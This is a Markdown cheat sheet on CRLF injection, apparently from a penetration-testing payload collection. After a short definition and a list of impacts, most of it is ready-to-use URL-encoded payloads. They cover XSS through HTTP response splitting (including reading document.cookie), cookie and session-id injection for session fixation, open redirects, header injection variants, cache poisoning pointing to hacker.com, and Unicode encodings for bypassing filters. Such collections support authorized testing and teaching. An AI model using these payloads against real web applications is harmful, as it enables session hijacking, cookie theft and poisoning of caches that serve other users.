91 lines
3.4 KiB
Markdown
91 lines
3.4 KiB
Markdown
# CRLF Inhection
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The term `CRLF` refers to **Carriage Return** (ASCII 13, `\r`) **Line Feed** (ASCII 10, `\n`). They’re used to note the termination of a line, however, dealt with differently in today’s popular Operating Systems. For example: in Windows both a CR and LF are required to note the end of a line, whereas in Linux/UNIX a LF is only required. In the HTTP protocol, the CR-LF sequence is always used to terminate a line.
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A CRLF Injection attack occurs when a user manages to submit a CRLF into an application. This is most commonly done by modifying an HTTP parameter or URL.
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## Impacts of CRLF Injection
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* XSS
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* HTTP Response Splitting
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* Open Redirect
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* Session Fixation
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* HTTP Header Injection
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* Web Cache poisoning
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## How to Exploit
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* **XSS**
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```html
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# By Disabling XSS Protection
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/%0d%0aContent-Length:35%0d%0aX-XSS-Protection:0%0d%0a%0d%0a23
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# By Popping an alert containing sensitive user information
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/%3f%0d%0aLocation:%0d%0aContent-Type:text/html%0d%0aX-XSS-Protection%3a0%0d%0a%0d%0a%3Cscript%3Ealert%28document.domain%29%3C/script%3E
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%0d%0aContent-Length:35%0d%0aX-XSS-Protection:0%0d%0a%0d%0a23%0d%0a<svg%20onload=alert(document.domain)>%0d%0a0%0d%0a/%2e%2e
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# Response splitting on 302 Redirect, before Location header (Discovered in DoD)
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%0d%0aContent-Type:%20text%2fhtml%0d%0aHTTP%2f1.1%20200%20OK%0d%0aContent-Type:%20text%2fhtml%0d%0a%0d%0a%3Cscript%3Ealert('XSS');%3C%2fscript%3E
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# Response splitting on 301 code, chained with Open Redirect to corrupt location header and to break 301.
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# Note: xxx:1 was used for breaking open redirect destination (Location header).
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# Great example how of to escalate CRLF to XSS on a such, it would seem, unexploitable 301 status code.
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%2Fxxx:1%2F%0aX-XSS-Protection:0%0aContent-Type:text/html%0aContent-Length:39%0a%0a%3cscript%3ealert(document.cookie)%3c/script%3e%2F..%2F..%2F..%2F../tr
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```
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* **HTTP Response Splitting / Cookie Injection**
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HTTP Response Splitting allows an attacker to set malicious cookies on the victim’s browser. In most cases, the following GET request will result in a 307 Redirect, and thus the victim will be redirected to target.com & the URL won’t contain the Set-Cookie parameter. In the background however, the cookie will be set.
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```html
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# Check if the response is setting this cookie
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/%0D%0ASet-Cookie:mycookie=myvalue
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```
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* **Open Redirect**
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```html
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//www.google.com/%2F%2E%2E%0D%0AHeader-Test:test2
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/www.google.com/%2E%2E%2F%0D%0AHeader-Test:test2
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/google.com/%2F..%0D%0AHeader-Test:test2
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/%0d%0aLocation:%20http://example.com
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```
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* **Session Fixation**
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Similar to the Cookie Injection attack, here the attacker sets a user’s session id to a particular value. This link is sent to the victim and when the victim logs in using this session, the attacker can also log in by using the same session id.
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```html
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/%0d%0aSet-Cookie:session_id=942...
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%0dSet-Cookie:csrf_token=xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx;
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```
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* **HTTP Header Injection**
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```html
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%0d%0aheader:header
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%0aheader:header
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%0dheader:header
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%23%0dheader:header
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%3f%0dheader:header
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/%250aheader:header
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/%25250aheader:header
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/%%0a0aheader:header
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/%3f%0dheader:header
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/%23%0dheader:header
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/%25%30aheader:header
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/%25%30%61header:header
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/%u000aheader:header
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%E5%98%8A%E5%98%8Dheader:header
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```
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* **Web Cache poisoning**
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```html
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/%0d%0aX-Forwarded-Host:hacker.com
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```
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* **Filter Bypass**
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```html
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%E5%98%8A = %0A = \u560a
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%E5%98%8D = %0D = \u560d
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%E5%98%BE = %3E = \u563e (>)
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%E5%98%BC = %3C = \u563c (<)
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Payload = %E5%98%8A%E5%98%8DSet-Cookie:%20test
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```
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